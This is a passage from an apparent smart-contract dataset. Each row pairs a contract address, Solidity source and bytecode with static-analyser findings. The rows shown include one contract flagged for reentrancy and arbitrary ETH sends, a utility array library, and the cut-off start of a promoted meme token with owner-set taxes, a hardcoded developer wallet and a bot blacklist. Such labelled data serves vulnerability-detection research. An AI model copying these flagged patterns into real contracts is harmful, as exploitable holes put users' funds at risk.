54906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d606461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c75fa9285e09c567a44211d29508f86fb02bdae52b938820c62c2b013d69dd8364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,453 |
0x5c8bc089E0B5D7Acc066020872F5968708f25BF3 | pragma solidity 0.4.21;
/**
* @title Array32 Library
* @author Modular Inc, https://modular.network
*
* version 1.2.0
* Copyright (c) 2017 Modular, Inc
* The MIT License (MIT)
* https://github.com/Modular-Network/ethereum-libraries/blob/master/LICENSE
*
* The Array32 Library provides a few utility functions to work with
* storage uint32[] types in place. Modular provides smart contract services
* and security reviews for contract deployments in addition to working on open
* source projects in the Ethereum community. Our purpose is to test, document,
* and deploy reusable code onto the blockchain and improve both security and
* usability. We also educate non-profits, schools, and other community members
* about the application of blockchain technology.
* For further information: modular.network
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
library Array32Lib {
/// @dev Sum vector
/// @param self Storage array containing uint256 type variables
/// @return sum The sum of all elements, does not check for overflow
function sumElements(uint32[] storage self) public view returns(uint256 sum) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,8)))
remainder := mod(i,8)
for { let j := 0 } lt(j, remainder) { j := add(j, 1) } {
term := div(term,4294967296)
}
term := and(0x00000000000000000000000000000000000000000000000000000000ffffffff,term)
sum := add(term,sum)
}
}
}
/// @dev Returns the max value in an array.
/// @param self Storage array containing uint256 type variables
/// @return maxValue The highest value in the array
function getMax(uint32[] storage self) public view returns(uint32 maxValue) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
maxValue := 0
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,8)))
remainder := mod(i,8)
for { let j := 0 } lt(j, remainder) { j := add(j, 1) } {
term := div(term,4294967296)
}
term := and(0x00000000000000000000000000000000000000000000000000000000ffffffff,term)
switch lt(maxValue, term)
case 1 {
maxValue := term
}
}
}
}
/// @dev Returns the minimum value in an array.
/// @param self Storage array containing uint256 type variables
/// @return minValue The highest value in the array
function getMin(uint32[] storage self) public view returns(uint32 minValue) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,8)))
remainder := mod(i,8)
for { let j := 0 } lt(j, remainder) { j := add(j, 1) } {
term := div(term,4294967296)
}
term := and(0x00000000000000000000000000000000000000000000000000000000ffffffff,term)
switch eq(i,0)
case 1 {
minValue := term
}
switch gt(minValue, term)
case 1 {
minValue := term
}
}
}
}
/// @dev Finds the index of a given value in an array
/// @param self Storage array containing uint256 type variables
/// @param value The value to search for
/// @param isSorted True if the array is sorted, false otherwise
/// @return found True if the value was found, false otherwise
/// @return index The index of the given value, returns 0 if found is false
function indexOf(uint32[] storage self, uint32 value, bool isSorted)
public
view
returns(bool found, uint256 index) {
if (isSorted) {
uint256 high = self.length - 1;
uint256 mid = 0;
uint256 low = 0;
while (low <= high) {
mid = (low+high)/2;
if (self[mid] == value) {
found = true;
index = mid;
low = high + 1;
} else if (self[mid] < value) {
low = mid + 1;
} else {
high = mid - 1;
}
}
} else {
for (uint256 i = 0; i<self.length; i++) {
if (self[i] == value) {
found = true;
index = i;
i = self.length;
}
}
}
}
/// @dev Utility function for heapSort
/// @param index The index of child node
/// @return pI The parent node index
function getParentI(uint256 index) private pure returns (uint256 pI) {
uint256 i = index - 1;
pI = i/2;
}
/// @dev Utility function for heapSort
/// @param index The index of parent node
/// @return lcI The index of left child
function getLeftChildI(uint256 index) private pure returns (uint256 lcI) {
uint256 i = index * 2;
lcI = i + 1;
}
/// @dev Sorts given array in place
/// @param self Storage array containing uint256 type variables
function heapSort(uint32[] storage self) public {
if(self.length > 1){
uint256 end = self.length - 1;
uint256 start = getParentI(end);
uint256 root = start;
uint256 lChild;
uint256 rChild;
uint256 swap;
uint32 temp;
while(start >= 0){
root = start;
lChild = getLeftChildI(start);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end+1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
if(start == 0)
break;
else
start = start - 1;
}
while(end > 0){
temp = self[end];
self[end] = self[0];
self[0] = temp;
end = end - 1;
root = 0;
lChild = getLeftChildI(0);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end + 1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
}
}
}
/// @dev Removes duplicates from a given array.
/// @param self Storage array containing uint256 type variables
function uniq(uint32[] storage self) public returns (uint256 length) {
bool contains;
uint256 index;
for (uint256 i = 0; i < self.length; i++) {
(contains, index) = indexOf(self, self[i], false);
if (i > index) {
for (uint256 j = i; j < self.length - 1; j++){
self[j] = self[j + 1];
}
delete self[self.length - 1];
self.length--;
i--;
}
}
length = self.length;
}
} | 0x735c8bc089e0b5d7acc066020872f5968708f25bf3301460606040526004361061008f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631b0c09fa1461009457806328d9634f146100cc57806331bec01f146100f85780636f77715a1461011b5780639a07db0214610152578063f2f4ae811461018a575b600080fd5b6100aa60048080359060200190919050506101db565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6100e26004808035906020019091905050610259565b6040518082815260200191505060405180910390f35b811561010357600080fd5b61011960048080359060200190919050506102c3565b005b811561012657600080fd5b61013c60048080359060200190919050506108a2565b6040518082815260200191505060405180910390f35b6101686004808035906020019091905050610a1a565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6101ba600480803590602001909190803563ffffffff169060200190919080351515906020019091905050610aaa565b60405180831515151581526020018281526020019250505060405180910390f35b6000806000836060526000925060005b8454811015610251576008810460206060200154925060088106915060005b82811015610227576401000000008404935060018101905061020a565b508263ffffffff1692508284106001811461024157610245565b8394505b506001810190506101eb565b505050919050565b60008060008360605260005b84548110156102bb576008810460206060200154925060088106915060005b828110156102a15764010000000084049350600181019050610284565b508263ffffffff1692508383019350600181019050610265565b505050919050565b600080600080600080600060018880549050111561089857600188805490500396506102ee87610c24565b95508594505b6000861015156105545785945061030a86610c42565b93505b868411151561053b57600184019250849150878481548110151561032d57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff16888381548110151561036757fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff16101561039d578391505b86831115801561041e575087838154811015156103b657fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff1688838154811015156103f057fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff16105b15610427578291505b8482141561043a57600187019350610536565b878281548110151561044857fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff169050878581548110151561047e57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1688838154811015156104b257fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff1602179055508088868154811015156104f457fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff16021790555081945061053385610c42565b93505b61030d565b600086141561054957610554565b6001860395506102f4565b5b600087111561089757878781548110151561056c57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1690508760008154811015156105a357fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1688888154811015156105d757fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff1602179055508088600081548110151561061a57fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff160217905550600187039650600094506106616000610c42565b93505b868411151561089257600184019250849150878481548110151561068457fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff1688838154811015156106be57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff1610156106f4578391505b8683111580156107755750878381548110151561070d57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff16888381548110151561074757fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff16105b1561077e578291505b848214156107915760018701935061088d565b878281548110151561079f57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff16905087858154811015156107d557fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff16888381548110151561080957fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff16021790555080888681548110151561084b57fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff16021790555081945061088a85610c42565b93505b610664565b610555565b5b5050505050505050565b60008060008060008091505b8580549050821015610a0a576108f98687848154811015156108cc57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff166000610aaa565b8094508195505050828211156109fd578190505b60018680549050038110156109a157856001820181548110151561092d57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff16868281548110151561096157fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff160217905550808060010191505061090d565b8560018780549050038154811015156109b657fe5b90600052602060002090600891828204019190066004026101000a81549063ffffffff0219169055858054809190600190036109f29190610c57565b508180600190039250505b81806001019250506108ae565b8580549050945050505050919050565b60008060008360605260005b8454811015610aa2576008810460206060200154925060088106915060005b82811015610a625764010000000084049350600181019050610a45565b508263ffffffff1692506000811460018114610a7d57610a81565b8394505b5082841160018114610a9257610a96565b8394505b50600181019050610a26565b505050919050565b6000806000806000808615610ba3576001898054905003935060009250600091505b8382111515610b9e576002848301811515610ae357fe5b0492508763ffffffff168984815481101515610afb57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff161415610b3f5760019550829450600184019150610b99565b8763ffffffff168984815481101515610b5457fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff161015610b9157600183019150610b98565b6001830393505b5b610acc565b610c18565b600090505b8880549050811015610c17578763ffffffff168982815481101515610bc957fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1663ffffffff161415610c0a5760019550809450888054905090505b8080600101915050610ba8565b5b50505050935093915050565b600080600183039050600281811515610c3957fe5b04915050919050565b60008060028302905060018101915050919050565b815481835581811511610c8c576007016008900481600701600890048360005260206000209182019101610c8b9190610c91565b5b505050565b610cb391905b80821115610caf576000816000905550600101610c97565b5090565b905600a165627a7a72305820a2e85fe1920a36afe25f121dc8846ec786219075fb0747675149049ec056280f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 1,454 |
0xcf7b9eb3eebd12472ec560a582cca6e3e499d41f | /*
$MASTER SHIBA
Telegram: https://t.me/mastershibamusk
Musk tweet: https://twitter.com/elonmusk/status/1504311459924398083
Lock 100% Lp at team Finance
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract muskmastershiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Master Shiba";
string private constant _symbol = "MASTER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xa21dEe907dab20a6CBF641ED7d0dC092d47A6Fe5);
address payable private _marketingAddress = payable(0xa21dEe907dab20a6CBF641ED7d0dC092d47A6Fe5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
